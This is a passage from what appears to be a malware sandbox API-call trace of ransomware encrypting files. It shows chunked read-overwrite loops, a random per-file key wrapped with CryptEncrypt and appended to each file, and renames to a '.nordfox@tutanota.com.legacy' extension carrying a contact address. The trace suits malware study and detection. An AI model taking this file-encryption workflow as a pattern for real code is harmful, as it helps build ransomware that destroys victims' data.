nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.854] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f27590 [0080.854] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.886] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.910] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2073a76 [0080.910] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.916] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.949] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21bff5c [0080.949] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0080.972] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.013] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x230c442 [0081.013] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.044] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.060] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2458928 [0081.060] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.066] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.089] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25a4e0e [0081.089] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.094] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.146] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x26f12f4 [0081.146] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.173] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.188] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x283d7da [0081.188] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.202] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.231] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2989cc0 [0081.231] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.236] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.265] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ad61a6 [0081.265] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.288] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.390] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2c2268c [0081.390] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.425] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.440] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6eb72 [0081.440] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.446] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.480] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ebb058 [0081.480] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.520] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.539] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x300753e [0081.539] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.573] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.588] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3153a24 [0081.588] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.595] ReadFile (in: hFile=0x454, lpBuffer=0x312e020, nNumberOfBytesToRead=0x14c4e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.617] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1361126, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x329ff0a [0081.617] WriteFile (in: hFile=0x454, lpBuffer=0x3283020*, nNumberOfBytesToWrite=0x14c4e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3283020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4e6, lpOverlapped=0x0) returned 1 [0081.622] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312e020 | out: hHeap=0x520000) returned 1 [0081.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3283020 | out: hHeap=0x520000) returned 1 [0081.640] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xad1384b [0081.640] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0081.640] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0081.640] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0081.800] WriteFile (in: hFile=0x454, lpBuffer=0x54d090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d090*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0081.800] CloseHandle (hObject=0x454) returned 1 [0082.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0082.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0082.082] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="\\588bce7c90097ed212\\netfx_Core.mzz.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0082.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0082.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0082.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0082.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578da0 [0082.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0082.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.084] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0082.084] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0082.084] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\header.bmp", dwFileAttributes=0x80) returned 1 [0082.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f50 [0082.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0082.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f50 | out: hHeap=0x520000) returned 1 [0082.084] CreateFileW (lpFileName="\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0082.084] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3628) returned 1 [0082.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe2c) returned 0x563890 [0082.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe2c) returned 0x5615a8 [0082.085] ReadFile (in: hFile=0x454, lpBuffer=0x563890, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563890*, lpNumberOfBytesRead=0x2e1f9bc*=0xe2c, lpOverlapped=0x0) returned 1 [0082.086] SetFilePointer (in: hFile=0x454, lDistanceToMove=-3628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0082.087] WriteFile (in: hFile=0x454, lpBuffer=0x5615a8*, nNumberOfBytesToWrite=0xe2c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5615a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe2c, lpOverlapped=0x0) returned 1 [0082.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563890 | out: hHeap=0x520000) returned 1 [0082.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5615a8 | out: hHeap=0x520000) returned 1 [0082.087] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe2c [0082.087] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0082.087] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0082.087] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0082.087] WriteFile (in: hFile=0x454, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0082.088] CloseHandle (hObject=0x454) returned 1 [0082.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0082.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.088] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), lpNewFileName="\\588bce7c90097ed212\\header.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\header.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0082.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0082.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578da0 | out: hHeap=0x520000) returned 1 [0082.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0082.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0082.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0082.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0082.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d190 | out: pbBuffer=0x54d190) returned 1 [0082.090] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\DisplayIcon.ico", dwFileAttributes=0x80) returned 1 [0082.091] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0082.091] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0082.091] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0082.091] CreateFileW (lpFileName="\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0082.091] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=88533) returned 1 [0082.091] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x159d5) returned 0x57f150 [0082.091] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x159d5) returned 0x594b30 [0082.091] ReadFile (in: hFile=0x454, lpBuffer=0x57f150, nNumberOfBytesToRead=0x159d5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0x159d5, lpOverlapped=0x0) returned 1 [0082.113] SetFilePointer (in: hFile=0x454, lDistanceToMove=-88533, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0082.113] WriteFile (in: hFile=0x454, lpBuffer=0x594b30*, nNumberOfBytesToWrite=0x159d5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x594b30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x159d5, lpOverlapped=0x0) returned 1 [0082.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0082.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x594b30 | out: hHeap=0x520000) returned 1 [0082.115] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x159d5 [0082.115] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0082.115] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0082.117] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0082.117] WriteFile (in: hFile=0x454, lpBuffer=0x54d190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0082.117] CloseHandle (hObject=0x454) returned 1 [0082.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0082.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0082.128] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), lpNewFileName="\\588bce7c90097ed212\\DisplayIcon.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0082.131] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0082.131] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0082.131] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0082.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0082.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0082.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0082.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0082.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0082.131] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\DHtmlHeader.html", dwFileAttributes=0x80) returned 1 [0082.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0082.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0082.131] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0082.131] CreateFileW (lpFileName="\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0082.132] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16118) returned 1 [0082.132] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ef6) returned 0x57f150 [0082.132] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ef6) returned 0x583050 [0082.132] ReadFile (in: hFile=0x454, lpBuffer=0x57f150, nNumberOfBytesToRead=0x3ef6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ef6, lpOverlapped=0x0) returned 1 [0082.147] SetFilePointer (in: hFile=0x454, lDistanceToMove=-16118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0082.148] WriteFile (in: hFile=0x454, lpBuffer=0x583050*, nNumberOfBytesToWrite=0x3ef6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ef6, lpOverlapped=0x0) returned 1 [0082.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0082.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583050 | out: hHeap=0x520000) returned 1 [0082.148] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ef6 [0082.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0082.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, 